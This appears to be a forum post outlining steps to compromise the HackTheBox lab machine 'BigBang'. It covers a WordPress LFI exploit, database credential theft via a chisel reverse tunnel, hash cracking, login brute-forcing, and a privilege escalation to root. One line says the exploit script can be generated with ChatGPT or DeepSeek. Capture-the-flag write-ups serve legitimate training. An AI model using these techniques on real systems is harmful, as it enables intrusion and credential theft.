[grootd]

How to get user?
1. nmap
2. blog.bigbang.htb and bigbang.htb  >> /etc/hosts
3. bigbang.htb powered by wordpress >> wpscan
4. find LFI CVE-2024-2961
5. attack >> http://blog.bigbang.htb/wp-admin/admin-ajax.php
now we got www.data
6. find wp-config.php >>  MySQL
7.

chisel server -p 8000

8.

./chisel client your_ip R:3306:172.17.0.1:3306

9.

mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p

10.

select * from wp_users

11. brute hash and get password for shawking
now we got user flag

how to get root?!
12. LinPEAS >> user: developer and database /opt/data
13. netstat -a >> interesting ports 9090 and 3000
14.

ssh -L 9090:127.0.0.1:9090 [email protected]

15. FFUZ 127.0.0.1:9090
16. use bruteforce to guess a user's password for developer
17.

curl -X POST -v 127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-d '{"username":"developer","password":"BRUTE_PASSWORD"}'

18. now we have JWT Token
19. attack http://127.0.0.1:9090/command
20. you can generate the code in chatGPT or deepseek >> expl.py
21.

python3 expl.py

22.

/bin/bash -p

23. whoami >> root

[technet8394]

There is already a thread on this box explaining most if not everything!

https://bf.st/Thread-BigBang-a-Linux-Hard-Machine